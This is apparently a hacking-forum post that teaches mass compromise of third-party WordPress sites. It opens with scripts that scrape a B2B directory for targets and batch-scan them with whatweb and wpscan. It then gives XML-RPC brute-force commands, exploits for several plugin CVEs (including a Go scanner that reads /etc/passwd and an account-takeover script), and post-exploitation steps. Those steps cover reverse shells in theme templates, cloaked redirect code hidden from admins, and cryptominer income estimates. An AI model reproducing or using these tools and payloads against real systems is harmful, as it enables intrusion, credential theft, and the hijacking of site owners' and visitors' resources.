We break WordPress sites

Krematorij

Administrator
Staff member
#root
BFD Member
Legend
ULTIMATE
SELLER
PREMIUM
Local
Active Member
Joined
Oct 22, 2024
Messages
303
Reaction score
1,219
Website
bfd.cash
Deposit
169$
Telegram
Telegram
WordPress is not just a CMS, but a real empire in the world of websites! According to some data, WordPress is used by more than 40% of all websites on the Internet - that's about 500 million websites! Small and large. All colors and shapes!

This article will discuss hacking websites on the WordPress CMS: methods of gaining access, exploitation and post-exploitation of targets. Let's get to the topic!

Strategy

There are two different strategies that can be used to solve the problem. Vertical and horizontal strategies are opposite approaches to working with hacking different types of access.

Vertical hacking involves attacking specific units or a group of units, for example, finding a group of WordPress sites by topic or domain and trying to somehow influence them.

Horizontal hacking is using a vulnerability to attack multiple targets with the same level of privileges. For example, finding a vulnerability, 0-day or a ready CVE and using it to hack multiple sites is an example of a horizontal strategy.

It is also necessary to clearly define the goals, since the hack itself is not a goal, but only an abstraction, like "happiness". We will consider post-exploitation scenarios below.

Vertical hacking

First of all, you need to find sites. Where to look for them? I considered one of the methods in another article - searching for web links using reverse DNS. Today we will consider another method - parsing links from directories. So, we are looking for directories. There are other methods, for example, searching for WordPress sites via Shodan.

I will also note that vertical hacking in this way is not the most brilliant idea. It makes sense to expand the range and work with all found sites, without cutting them off by CMS, but for this article we will focus on WordPress.

Let's take the europages[.]com directory, where B2B companies are located. Let's try to parse their base and then check for vulnerable WordPress sites.

We study the site structure and take notes:

The directory is located according to the following structure: /en/cpp/A (letter) → /en/cpp/A/1 (letter + number) - up to 100 business card pages.
There is a Visit site button on the business card page.
What happens if you access a page with a non-existent number? An empty business card block is displayed.
The text that needs to be parsed is between <a href=" and .html.

We write a script in Golang. At the first stage, we parse the "business card links".

package main

import (
"fmt"
"io/ioutil"
"log"
"net/http"
"os"
"regexp"
"time"
)

// 1
const(
baseURL = "https://www.europages.co.uk/en/cpp"
outputFile = "parsed_links.txt"
)

func main() {
// 2
file, err := os.OpenFile(outputFile, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
log.Fatalf("Error opening file: %v", err)
}
defer file.Close()

// 3
for letter := 'A'; letter <= 'Z'; letter++ {
pageNumber := 1
for {
// 4
url := fmt.Sprintf("%s/%c/%d", baseURL, letter, pageNumber)
fmt.Printf("Parsing URL: %s\n", url )

// 5
resp, err := http.Get(url)
if err != nil {
log.Printf("Error requesting %s: %v", url, err)
break
}
defer resp.Body.Close() body, err := ioutil.ReadAll(resp.Body)
if err != nil {
log.Printf("Error reading response: %v", err)
break
}

// 6
re := regexp.MustCompile(`<a href="(/[^"]+\.html)"`)
matches := re.FindAllStringSubmatch(string(body), -1)

// 7
if len(matches) == 0 {
break
}

// 8
for _, match := range matches {
fullURL := "https://www.europages.co.uk/en" + match[1]
_, err := file.WriteString(fullURL + "\n")
if err != nil {
log.Printf("Error writing to file: %v", err)
}
}

// 9
pageNumber++
time.Sleep(1 * time.Second)
}
}
fmt.Println("Parsing completed")
}


In constants, we declare the main link, as well as the name of the file where the results will be saved.
Open the parsed_links.txt file for further work.
Run a loop over the letters of the alphabet.
Form a URL for the current letter and page.
Send an HTTP request and read the response.
Use a regular expression to search for links.
Check for links; if there are no links, move on to the next letter, interrupting the iteration.
Write the found links to a file.
Move to the next page with a delay, adding a pause before the next request to avoid overload.

We receive more than 11 thousand internal links.

We study the page and find that before the link to the sites there is an element with certain classes - <a`class`="btn btn--subtle btn--md website-button">. The script will work without using goroutines, although they could be used to speed it up. However, I will choose a strategy that minimizes the risk of blocking by adding a delay between requests.

package main

import (
"bufio"
"io/ioutil"
"log"
"math/rand"
"net/http"
"os"
"regexp"
"strings"
"time"
)

// 1
const(
inputFile = "parsed_links.txt"
outputFile = "website_links.txt"
targetClass = `<a class="btn btn--subtle btn--md website-button" href="([^"]+)"`
)

func main() {
file, err := os.Open(inputFile)
if err != nil {
log.Fatalf("Error opening file %s: %v", inputFile, err)
}
defer file.Close()

output, err := os.OpenFile(outputFile, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
log.Fatalf("Error opening output file %s: %v", outputFile, err)
}
defer output. Close()

// 2
re := regexp.MustCompile(targetClass)

// 3
scanner := bufio.NewScanner(file)
for scanner.Scan() {
originalLink := scanner.Text()
log.Printf("Start processing link : %s", originalLink)

// 4
modifiedLink := strings.Replace(originalLink, "/en/", "/", 1)
log.Printf("Modified link: %s", modifiedLink)

// 5
delay := time.Duration(rand.Intn(3)+1) * time.Second
log.Printf("Delay before request: %v", delay)
time.Sleep(delay)

// 6
resp, err := http. Get(modifiedLink)
if err != nil {
log.Printf("Error requesting %s: %v", modifiedLink, err)
continue
}
defer resp.Body.Close()
log.Printf("Successful request to %s" , modifiedLink)

body, err := ioutil.ReadAll(resp.Body)
if err != nil {
log.Printf("Error reading response from %s: %v", modifiedLink, err)
continue
}
log.Printf("Reading HTML content is made for %s", modifiedLink)

// 7
matches := re.FindStringSubmatch(string(body))
if len(matches) > 1 {
websiteLink := matches[1]
log.Printf("Found link with required class: %s" , websiteLink)

_, err := output.WriteString(websiteLink + "\n")
if err != nil {
log.Printf("Error writing to file %s: %v", outputFile, err)
} else {
log. Printf("Link successfully saved to file: %s", websiteLink)
}
} else {
log.Printf("Link with the required class was not found on page %s", modifiedLink)
}
}
if err := scanner.Err();err != nil {
log.Fatalf("Error reading from file %s: %v", inputFile, err)
}
log.Println("Parsing complete")
}




We declare a regular expression to get clean links and add a new text file to save these links.
Compile the regular expression.
Read the file with the original links line by line.
Remove /en/ from the link (there was a small error when forming the link in the previous script, we fix it in this script).
Make a random delay of 1 to 3 seconds before the request.
Make a request to the current modified link and read the response.
Search for a link with the desired class using a regular expression and write it to a file. Log the entire process.

We get 10,900 links. Next, we need to check how many of them are used by WordPress. To check manually, just open the source code of the page and enter "generator" in the text search. This will show which CMS is used, as well as its version.

To automate the process, I will use the WhatWeb utility, which allows you to determine which CMS the site uses, essentially being a free analogue of Wappalyzer. The command is very simple — whatweb https://example.com. Let's go to the IDE and write a script to automate and speed up the check.


package main

import (
"bufio"
"bytes"
"log"
"os"
"os/exec"
"sync"
)

const(
inputFileName = "website_links.txt"
goodFileName = "good.txt"
badFileName = "bad.txt"
maxGoroutines = 9 // 1
)

// 2
var(
goodFileMutex sync.Mutex
badFileMutex sync.Mutex
)

func main() {
// 3
sem := make(chan struct{}, maxGoroutines)

// 4
file, err := os.Open(inputFileName)
if err != nil {
log.Fatalf("Error opening file %s: %v", inputFileName, err)
}
defer file.Close()

// 5
var wg sync.WaitGroup
scanner := bufio.NewScanner(file)

// 6
for scanner.Scan() {
site := scanner.Text()

wg.Add(1)
sem <- struct{}{}


go func(site string) {
defer wg.Done()
defer func() { <-sem }()

checkWebsite(site)
}(site)
}

wg.Wait()

if err := scanner.Err(); err != nil {
log.Fatalf("Error reading file %s: %v", inputFileName, err)
}
}

// 7
func checkWebsite(site string) {
cmd := exec.Command("whatweb", site) var out bytes.Buffer
cmd.Stdout = &out

if err := cmd.Run(); err != nil {
log.Printf("Error starting whatweb for site %s: %v", site, err)
return
}

if bytes.Contains(out.Bytes(), []byte("WordPress")) {
writeToFile(goodFileName, site)
} else {
writeToFile(badFileName, site)
}
}

// 8
func writeToFile(fileName, site string) {
var mutex *sync.Mutex
if fileName == goodFileName {
mutex = &goodFileMutex
} else {
mutex = &badFileMutex
}

mutex.Lock()
defer mutex.Unlock()

f, err := os.OpenFile(fileName, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
log.Printf("Error opening file %s: %v", fileName, err)
return
}
defer f.Close()

_, err = f.WriteString(site + "\n")
if err != nil {
log.Printf("Error writing to file %s: %v", fileName, err)
}
}




Set the number of parallel goroutines.
Connect mutexes for correct writing to the file. Two mutexes will be used: one for recording successful results, the second for sites that use another CMS (or hide WordPress well).
Create a semaphore to limit the number of goroutines.
Open a file with a list of sites.
Create a wait group to wait for all goroutines to complete.
Read the file line by line. Lock the semaphore. Launch goroutines to check the sites, then release the semaphore after the goroutine completes.
The checkWebsite function checks whether the site uses WordPress and writes the result to the appropriate file. First, the function runs the whatweb command to check the site, then analyzes the command's output for "WordPress". If found, the site is considered "good", if not, it is "bad".
The writeToFile function writes a string to the specified file using a mutex for thread safety.

After checking 972 sites, we get 347 sites that use WordPress, or 35.8%. Unbelievable!

Next, we will use the wpscan utility. wpscan is a highly specialized scanner for WordPress. When analyzing a site with this utility, we will get information about the WordPress version, lists of installed plugins, users, readiness for brute-force attacks, configuration files. There is practically no magic happening under the hood, mainly fuzzing is used, and everything that the utility does can be repeated manually.

Let's take, for example, a list of users that can be found at /wp-json/wp/v2/users. This is a very old vulnerability, described back in 2018, and in the Exploit DB database it is listed under GHDB-ID 4944 as a Google dork. It is still relevant - just execute the request inurl:/wp-json/wp/v2/users/. Most sites will be hacked before us, but there are some where you can see the file itself in the JSON "slug" field, which reveals usernames.

Or take an even older vulnerability described in the dork with GHDB-ID 4039, which is almost ten years old! Search for inurl:wp-config.php. The wp-config.php file contains sensitive information, including the name, host, username, and password for the database. Using this data, you can connect to the database and get usernames and password hashes. In addition, the file contains settings for secret keys and salt, which WordPress uses to ensure the security of user sessions. As far as I can tell, they are used to encrypt cookies and other session data. The security of session data on the site depends on these keys. In theory, they allow you to spoof cookies and access accounts without passwords, just using cookies. However, I am not sure if this is true.

To detect such files, you need to carefully study the WordPress components and try all the options to find interesting files or directories.

In general, WordPress consists of a core + a set of plugins and themes that are developed by third-party developers:

Plugins are extensions that add functionality to the site, such as feedback forms, SEO optimization, security, integration with social networks and much more. An example of a plugin is WooCommerce (for creating online stores) or Yoast SEO (for improving SEO).
Themes are the visual style and design of a WordPress site. A theme controls the appearance of the site, its layout, colors, fonts, images and other design elements. Each theme consists of a set of templates (PHP files), styles (CSS), images and other resources.

It is in plugins and themes that errors are most often found, since they can be developed by any developer.

Let's get back to our scanner. To run, use the command:

wpscan --url https://example.com --enumerate vp,vt,u,dbe --api-token API_TOKEN --random-user-agent --plugins-detection mixed --force --ignore-main-redirect

More about the flags:

--url — specifies the target URL for scanning.
--enumerate — specifies which elements need to be listed:
- vp — searches for vulnerable plugins.
- vt — searches for vulnerable themes.
- u — searches for WordPress users.
- dbe — searches for vulnerabilities in the WordPress database.
--api-token — to get a full log and instant messages about vulnerabilities, you need an API token. You can get it on the official WPScan website. The daily key gives 25 free scans, but the site sends tokens to temporary emails, so you can get several dozen keys or pay for the use to get more information.
--random-user-agent — uses a random User-Agent when sending HTTP requests.
--plugins-detection — sets the plugin detection method. The **mixed** option uses both passive methods (site code analysis) and active methods (endpoint scanning).
--force — forces scanning, ignoring warnings.
--ignore-main-redirect — ignores main URL redirects.


WPScan supports multi-threaded scanning. We can write a script that will save the results to text files, creating a separate directory for each site. Note that the output of one scan may take some time.


package main

import (
"bufio"
"bytes"
"fmt"
"log"
"os"
"os/exec"
"path/filepath"
"sync"
)

const(
inputFileName = "good2.txt"
apiKey = ""
maxGoroutines = 20
)

func main() {
sem := make(chan struct{}, maxGoroutines)

file, err := os.Open(inputFileName)
if err != nil {
log.Fatalf("Error opening file %s: %v", inputFileName, err)
}
defer file.Close()

var wg sync.WaitGroup
scanner := bufio.NewScanner(file)

for scanner.Scan() {
site := scanner.Text()
wg.Add(1)
sem <- struct{}{}

go func(site string) {
defer wg.Done()
defer func() { <-sem }()
runWpscan(site)
}(site)
}

wg.Wait()

if err := scanner.Err(); err != nil {
log.Fatalf("Error reading file %s: %v", inputFileName, err)
}
}

func runWpscan(site string) {
dirName := fmt.Sprintf("logs/%s", sanitizeDirName( site))
err := os.MkdirAll(dirName, os.ModePerm)
if err != nil {
log.Printf("Error creating directory %s: %v", dirName, err)
return
}

logFileName := filepath.Join (dirName, "wpscan_log.txt")

cmd := exec.Command(
"wpscan",
"--url", site,
"--enumerate", "vp,vt,u,dbe",
"--api-token", apiKey,
"--random-user-agent",
"--plugins-detection", "mixed",
"--force",
)

var out bytes.Buffer
cmd.Stdout = &out
cmd.Stderr = &out

err = cmd.Run()
if err != nil {
log.Printf("Error starting wpscan for site %s: %v", site, err)
} err = os.WriteFile(logFileName, out.Bytes(), 0644)
if err != nil {
log.Printf("Error saving log for site %s: %v", site, err)
return
}

log.Printf( "Scanning complete for site %s, the log is saved in %s", site, logFileName)
}

func sanitizeDirName(site string) string {
invalidChars := []string{":", "/", "\\", "*", "?", "\"", "<", ">", "|"}
for _, char := range invalidChars {
site = string(bytes.ReplaceAll([]byte(site), []byte(char), []byte("_")))
}
return site
}

The sanitizeDirName function replaces characters that are not suitable for file names. Otherwise, the code is similar to the one used to check the CMS.

You will quickly find that many of the CVEs found will require authorization. This does not necessarily have to be an account with administrator rights, but in any case, the question arises: how to access the account? The answer is quite trivial - use a brute force attack!

The peculiarity of a brute force attack on WordPress is that it often does not occur through a web form, but through the XML-RPC protocol. To check whether a specific resource supports XML-RPC, you need to make a request to https://example.com/xmlrpc.php.

XML-RPC is a protocol that allows you to interact remotely with a WordPress site. Through XML-RPC, you can send requests to perform various operations, including logging in. XML-RPC uses the XML format for exchanging data and is sent via HTTP POST requests.

The peculiarity of the technique is that the usual brute force via a web page checks one combination of login and password, has a limit on the number of login attempts and blocking by IP address, and also depends on the availability of the login page. Whereas brute force via XML-RPC uses the protocol's ability to send multiple requests in one, can bypass the limit on the number of login attempts, is enabled by default on most sites (if not disabled by the administrator) and can be more difficult to detect.

So, let me remind you that the list of users can be accessed via /wp-json/wp/v2/users/. Slug is the user name in the system.


For brute force you will need a dictionary, which can be found on GitHub:


- SecLists/Passwords/Honeypot-Captures/Sucuri-Top-Wordpress-Passwords.txt

- wpxmlrpcbrute/wordlists/1000-most-common-passwords.txt

- rockyou.txt


Enter the command:

wpscan --url https://example.com --passwords /path/to/passwords.txt --usernames admin --xmlrpc

In which we specify the user name, path to the file with passwords, the default attack type xmlrpc.

Horizontal hacking

Let's look at several CVEs and how they work.

The principle of horizontal hacking is to search for vulnerabilities, then search for vulnerable sites and directly hack them by using the previously found vulnerability.

Let's start with CVE-2024-27956. This is a critical vulnerability that does not require authorization, so first of all we will try to figure out why it arose and how exactly it works, and then we will try our hand at real resources, since this vulnerability has probably already attracted the attention of other researchers.

The essence of the vulnerability is related to the possibility of SQL injection in the "wp-automatic" plugin. This plugin is designed to automatically publish content on the site. Usually, installation statistics are available in the official plugin directory, but this plugin is paid, and I could not find data on the number of sites using it. However, one of the sites indicates that the plugin has more than 40 thousand purchases. Plugins with less than 50 thousand installations usually have more vulnerabilities, since they do not fall under the WordPress bug bounty program.

We find an exploit written in Python: GitHub - diego-tella/CVE-2024-27956-RCE: PoC for SQL Injection in CVE-2024-27956.

The vulnerability occurs due to insufficient validation of input data on the server in the csv.php script, which is part of the wp-automatic plugin. This allows arbitrary SQL code to be executed. The code uses the b'\0' value (null byte), which bypasses primitive authorization checks. The server does not check whether the user is authorized to perform requests, but relies on a hash, which in this case is not tied to the user and their session. The makeRequest function makes a request to the server, injecting a SQL payload. The first time the script is called, it adds a new user "eviladmin" to the wp_users table, and the second time it inserts a record into the wp_usermeta table, granting the "eviladmin" user the administrator role.

Checking the script itself for "bookmarks". Note that after the first request, there is a check if "DATE" not in response.text; this can be quite a weak point, and it may make sense to check by the response code, although such a check may be the most correct. Also, hashes can be invalid, but I did not notice any obvious "bookmarks" in the script, and visually everything looks fine.

Searching for sites. In some older PoC CVEs on GitHub, you can find dorks for search engines and understand how to compose them for other CVEs. We create a dork for Fofa. If we are talking about a vulnerability in plugins, then the template will be as follows: body="/wp-content/plugins/PLUGIN_NAME". We substitute our plugin and get body="/wp-content/plugins/wp-automatic".

We follow the instructions from GitHub, check the targets, and pretty soon we understand that the exploit works.


We check the site and see that everything is a little more complicated there. I won’t go into details, but the server has some protection. However, we can say with confidence that the exploit works.

Another critical vulnerability in plugins related to SQL injections is CVE-2024-1071. It allows access to the database. We find the exploit on GitHub to understand how exactly it works: CVE-2024-1071-SQL-Injection/CVE-2024-1071.py at main fa-rrel/CVE-2024-1071-SQL-Injection GitHubb.

The check_version function checks the plugin version and runs further code only for the range of vulnerable plugin versions. Then get_nonce is called. Nonce is a one-time security token that the plugin uses to protect against CSRF attacks. The function tries to get it from the code of the page /index.php/register/.

The get_directory_id function is designed to find a valid directory ID in the vulnerable Ultimate Member plugin. This ID is required for successful exploitation of the vulnerability via SQL injection. If all checks are passed, the function outputs a successful result and a command for Sqlmap.

We take the dork for Fofa from the repository. The number of results is more than 90 thousand. We check on 10 sites. In the script, it is necessary to slightly correct the ascii_art variable. Out of 10 sites, the vulnerability is detected on two.

Let's go further and consider a CVE of a different type - CVE-2024-27954. This is also a vulnerability in a plugin, and again in wp-automatic. It allows you to navigate through directories using a trusted plugin, thereby being an SSRF vulnerability.

We find the exploit — GitHub - Quantum-Hacker/CVE-2024-27954. We find that it is written for Nuclie, which I mentioned in this article. All the exploit does is access the URL: example.com/p=3232&wp_automatic=download&link=file:///etc/passwd and checks whether we actually get the required file. As far as I understand, such vulnerabilities can be detected by fuzzing.

If you don't want to download Nuclie, you can rewrite the script in Go, it will look something like this:

package main

import (
"bufio"
"fmt"
"net/http"
"os"
"regexp"
"strings"
"time"
)

func main() {
urlFile, err := os.Open("urls.txt")
if err != nil {
fmt.Printf("Error opening file urls.txt: %v\n", err)
return
}
defer urlFile.Close()

resultFile, err := os.OpenFile("good.txt", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
fmt.Printf("Error opening file good.txt: %v\n", err)
return
}
defer resultFile.Close()

scanner := bufio.NewScanner(urlFile)
client := &http.Client{Timeout: 10 * time.Second}

vulnRegex := regexp.MustCompile(`root:.*:0:0:`)

for scanner.Scan() {
url := strings.TrimSpace(scanner.Text())
if url == "" {
continue
}

testURL := fmt.Sprintf("%s/?p=3232&wp_automatic=download&link=file:///etc/passwd", url)

resp, err := client.Get(testURL)
if err != nil {
fmt.Printf("Request error for %s: %v\n", url, err)
continue
}
defer resp.Body.Close()

body := make([]byte, resp.ContentLength)
_, err = resp.Body.Read(body)
if err != nil {
fmt.Printf("Error reading response for %s: %v\n", url, err)
continue
}

if strings.Contains(string(body), `"link":"file:`) && vulnRegex.Match(body) {
fmt.Printf("Vulnerability found: %s\n", url)

_, err := resultFile.WriteString(fmt.Sprintf("id: vulnerable %s\n", url))
if err != nil {
fmt.Printf("Error writing result for %s: %v\n", url, err)
}
}

time.Sleep(2 * time.Second)
}

if err := scanner.Err(); err != nil {
fmt.Printf("Error reading file urls.txt: %v\n", err)
}
}
Next, we go to Fofa and check the links manually. On the first link, we are blocked by the firewall, and on the second, we see the file. We can also open other files in the directories. The /etc/passwd file contains information about system users. Users with a specified shell can access the system via SSH. You can also try to get SSH keys by substituting them into the file:///home/user/.ssh/id_rsa line. Usernames can be used for a brute-force attack on SSH/FTP services, using, for example, Hydra. I wrote more about this in this article.

Not all PoCs will be so obvious. Let's take the very latest CVE-2024-50483 and open the PoC on GitHub: GitHub - RandomRobbieBF/CVE-2024-50483: Meetup <= 0.1 - Authentication Bypass via Account Takeover.
The essence of the vulnerability is to bypass authentication and take over the user's account. The problem is that the facebook_register() function allows to bypass traditional authentication mechanisms. Usually, to log in, the user must provide valid credentials (for example, a password) to confirm their identity. In this case, the plugin does not do this, relying only on the email address.

However, the problem is that the description of the vulnerability does not make it clear which plugin is being discussed. I did not find a Meetup plugin version around 0.1. Most likely, this is the Import Meetup Events plugin, although its version is completely different. However, it seems that it may have a facebook_register() method. Let's try to make a search: body="wp-content/plugins/import-meetup-events". Sometimes email addresses can be found in the already familiar /wp-json/wp/v2/users directory, but this does not always happen. On one of the sites, we managed to find the administrator's email with a 99.9% probability using data from LinkedIn. Let's write an exploit for CVE:
package main

import (
"bytes"
"fmt"
"io/ioutil"
"log"
"net/http"
"net/url"
)

func exploit(urlTarget, email string) {
// 1
data := url.Values{}
data.Set("action", "meetup_fb_register")
data.Set("email", email)
data.Set("first_name", "Test")
data.Set("last_name", "User")
data.Set("id", "12345678901234567890")
data.Set("type", "token")
data.Set("link", "https://example.com/user/test/")

// 2
client := &http.Client{}
req, err := http.NewRequest("POST", urlTarget+"/wp-admin/admin-ajax.php", bytes.NewBufferString(data.Encode()))
if err != nil {
log.Fatalf("Error creating request: %v", err)
}

// 3 req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
req.Header.Set("Content-Length", fmt.Sprintf("%d", len(data.Encode ())))

resp, err := client.Do(req)
if err != nil {
log.Fatalf("Error sending request: %v", err)
}
defer resp.Body.Close()

body, err : = ioutil.ReadAll(resp.Body)
if err != nil {
log.Fatalf("Error reading response: %v", err)
}

fmt.Printf("Server response: %s\n", string(body))

// 4
if resp.StatusCode == http.StatusOK {
fmt .Printf("Successful login for user with email: %s\n", email)
} else {
fmt.Printf("Failed to log in for user with email: %s\n", email)
}
}

func main() {
targetURL := ""
email := ""
exploit(targetURL, email)
}
Let's create a POST request with the required parameters.
Send a POST request.
Set the required headers.
Check if the response contains confirmation of successful login.

I run the script, but I don't get a successful response. In the end, I'm not even sure that this is the plugin. Let's leave this CVE.

Finally, let's look at the CVE that leads to remote code execution (RCE). CVE-2024-25600 is a vulnerability affecting the Bricks Builder plugin. It allows PHP code to be injected and executed. The exploit and a detailed description of the vulnerability can be found on GitHub:

GitHub - K3ysTr0K3R/CVE-2024-25600-EXPLOIT: A PoC exploit for CVE-2024-25600 - WordPress Bricks Builder Remote Code Execution (RCE).

After examining the code, it becomes clear that the plugin API accepts requests from the client and processes them without proper verification. Also, according to the exploit, the nonce used to protect against CSRF attacks can be obtained through JavaScript loaded onto the web page. The fetch_nonce function does exactly this. Then the exploit opens a shell and executes an arbitrary command, analyzing the response for successful exploitation. The script also implements multithreaded programming techniques that allow for concurrent processing of links.

However, the question arises: what code can be executed at all, having gained access to the admin panel of a WordPress site or the server on which the WordPress site is running?

Post-exploitation

If a vulnerability allows code to be executed remotely, then it may imply the ability to open a shell. A shell is a terminal on a remote machine. For example, Metasploit has an exploit for the old vulnerability CVE-2019-8943. Its code can be found on the Exploit-DB website - WordPress Core 5.0.0 - Crop-image Shell Upload (Metasploit) - PHP remote Exploit
Dorka for Fofa: app="WordPress-5.0", and the vulnerability is still used by several hundred sites. By opening a shell via Metasploit, you can get to the server, and then find the credentials in the previously familiar wp-config.php file, which we accessed via the Google dork. Then you can do everything that can be done with the server, for example, increase privileges.

But for this, it is not necessary to use Metasploit. We can open a reverse shell ourselves. To do this, you need to log in to the WordPress admin panel, go to the Appearance section and edit the templates, getting to the PHP code of the page (for example, you can take the 404 page). Then you need to add the reverse shell code there, which can be taken from this site: Reverse Shell Cheat Sheet | pentestmonkey,
replacing the IP address with the address of the machine on which you want to accept the connection. After that, you need to open the 404 page on the site, and run Netcat on the recipient machine.

You can also make changes to the appearance of the site through the admin panel, replacing it completely or partially.

Another type of post-exploitation is setting up a 301 redirect. A 301 redirect is a simple redirect to another page. The user clicks on a link in the search, but is redirected to another site. This can be done in different ways; there are many plugins for this, but the best way is to change the template code in the functions.php file. We will do simple cloaking within this PHP script. Search robots can be identified by user-agent, and to hide the script from the administrator, you can identify it by IP address. These tags can be expanded, thereby extending the life of the hidden code.
function custom_redirect_non_bots_or_ip() {

$allowed_ip = '190.112.103.215';

$user_ip = $_SERVER['REMOTE_ADDR'];

$bots = array(
'Googlebot', 'Bingbot', 'Slurp', 'DuckDuckBot', 'YandexBot', 'Baiduspider', 'Sogou', 'Facebookexternalhit'
);

$is_bot = false;
foreach ($bots as $bot) {
if (strpos($_SERVER['HTTP_USER_AGENT'], $bot) !== false) {
$is_bot = true;
break;
}
}

if (!$is_bot && $user_ip !== $allowed_ip) {
wp_redirect('https://www.example.com', 301);
exit();
}
}

add_action('template_redirect', 'custom_redirect_non_bots_or_ip');

In conclusion, I will tell you about another possible option - installing a miner. The easiest way to install it is using one of the many plugins, although ideally it is worth implementing a custom JavaScript script, as well as a self-written backend to support multiple infected sites. Monero can be chosen as a cryptocurrency, since it uses the Proof of Work approach with a democratic special algorithm.

According to calculations, if the site has about 10 thousand users per day, the average computing power of one computer when mining Monero (using the RandomX algorithm) can be from 2 to 8 hashes per second (H / s), depending on the processor power. For simplicity, we will take the average power value: 4 H / s. We believe that each visitor will spend an average of 1 minute on the page with the miner. In one minute, one visitor generates 4 hashes per second × 60 seconds = 240 hashes.

In one day, a site with 10,000 visitors will generate: 10,000 × 240 hashes = 2,400,000 hashes per day. If the difficulty is 800 MH (millions of hashes per second), then the total network difficulty is 800,000,000 H/s. The site's power will be approximately 0.3% of the entire network. If the mining network generates 1 XMR per day, then a site with this power will generate 0.003 XMR per day.

Let's say the current price of 1 Monero (XMR) is $150. Then the site's income per day will be: 0.003 XMR × $150 = $0.45 per day. Keep in mind that 10 thousand users is quite a lot of traffic, and the code can be quickly discovered.
 
Register
Top